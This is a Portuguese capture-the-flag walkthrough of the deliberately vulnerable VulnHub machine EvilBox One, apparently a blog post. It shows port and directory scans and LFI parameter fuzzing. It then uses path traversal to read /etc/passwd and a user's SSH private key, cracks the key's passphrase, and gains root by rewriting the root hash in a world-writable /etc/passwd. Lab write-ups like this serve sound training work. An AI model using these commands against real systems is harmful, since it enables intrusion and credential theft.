Exploração e Escalonamento de Privilégios no Vulnhub: EvilBox One

Fase de Reconhecimento

Iniciamos o processo identificando os serviços ativos no host alvo (192.168.47.131) através de uma varredura completa de portas utilizando o Nmap.

$ nmap -p- -sV -sC -T4 192.168.47.131

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works

A análise revela um servidor SSH e um servidor web Apache rodando a página padrão do Debian.

Enumeração de Diretórios Web

Como a página inicial é apenas o padrão do Apache, utilizamos o Gobuster para localizar diretórios ocultos que possam conter vulnerabilidades.

$ gobuster dir -u http://192.168.47.131 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

/robots.txt           (Status: 200)
/secret               (Status: 301)

O diretório /secret parece promissor. Realizando uma nova busca dentro dessa pasta, encontramos um arquivo PHP específico:

$ gobuster dir -u http://192.168.47.131/secret/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

/evil.php             (Status: 200)

Descobreta de LFI via Fuzzing

O arquivo evil.php retorna uma página em branco, sugerindo que ele processa parâmetros via GET ou POST. Vamos realizar um fuzzing de parâmetros para verificar a existência de uma vulnerabilidade de Local File Inclusion (LFI).

$ ffuf -u http://192.168.47.131/secret/evil.php?FUZZ=../../../../etc/passwd -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

command                 [Status: 200, Size: 914, Words: 15, Lines: 22]

O parâmetro identificado foi command. Ao carregar /etc/passwd, confirmamos a existência do usuário mowree no sistema.

Extração e Quebra da Chave SSH

Com a falha de LFI, tentamos ler a chave privada SSH do usuário mowree localizada no caminho padrão: /home/mowree/.ssh/id_rsa.

$ curl "http://192.168.47.131/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa" -o mowree_id_rsa

A chave está protegida por uma senha. Utilizaremos o ssh2john para converter a chave em um formato que o John the Ripper consiga processar e, em seguida, realizamos o ataque de dicionário.

$ ssh2john mowree_id_rsa > id_rsa_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash

...
unicorn          (mowree_id_rsa)

Com a senha unicorn, acessamos o servidor via SSH:

$ chmod 600 mowree_id_rsa
$ ssh -i mowree_id_rsa mowree@192.168.47.131

Escalonamento de Privilégios: Escrita no /etc/passwd

Após ganhar acesso inicial, verificamos as permissões de arquivos críticos do sistema. Notamos uma configuração incorreta severa: o arquivo /etc/passwd possui permissão de escrita para usuários comuns.

mowree@EvilBoxOne:~$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1054 Nov  8 09:30 /etc/passwd

Para explorar isso, geramos um hash de senha compatível com o sistema e criamos uma entrada de usuário com privilégios de root (UID 0), ou simplesmente alteramos a senha do root original.

# Gerando hash para a senha 'root123'
mowree@EvilBoxOne:~$ openssl passwd -1 -salt novo root123
$1$novo$KjU.K0hO07S69R.n4Bv3D1

Editamos o /etc/passwd e substituímos o "x" (que indica o uso do /etc/shadow) na linha do root pelo hash gerado:

# Antes: root:x:0:0:root:/root:/bin/bash
# Depois:
root:$1$novo$KjU.K0hO07S69R.n4Bv3D1:0:0:root:/root:/bin/bash

Agora, basta alternar para o usuário root utilizando a nova senha definida:

mowree@EvilBoxOne:~$ su root
Password: root123
root@EvilBoxOne:/home/mowree# id
uid=0(root) gid=0(root) groups=0(root)

Tags: VulnHub LFI SSH-Cracking Privilege-Escalation penetration-testing

Publicado em 7-1 04:09